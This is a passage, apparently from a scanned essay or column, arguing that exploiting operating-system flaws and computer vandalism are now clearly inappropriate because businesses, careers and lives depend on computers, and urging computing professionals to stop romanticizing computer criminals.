tems. However, times have changed and mastery of 
computer science and computer engineering now in- 
volves a great deal more than can be shown by using 
intimate knowledge of the flaws in a particular operat- 
ing system. Whether such actions were appropriate fif- 
teen years ago is, in some senses, unimportant. I believe 
it is critical to realize that such behavior is clearly 
inappropriate now. Entire businesses are now depen- 
dent, wisely or not, on the undisturbed functioning of 
computers. Many people’s careers, property, (and lives 
may be placed in jeopardy by acts of computer sabotage 
and mischief. 


As a society, we cannot afford the consequences of 
such actions. As professionals, computer scientists and 
computer engineers cannot afford to tolerate the ro- 
manticization of computer vandals and computer crimi- 
nals, and we must take the lead by setting proper ex- 
amples. Let us hope there are no further inci’dents to 
underscore this lesson. 
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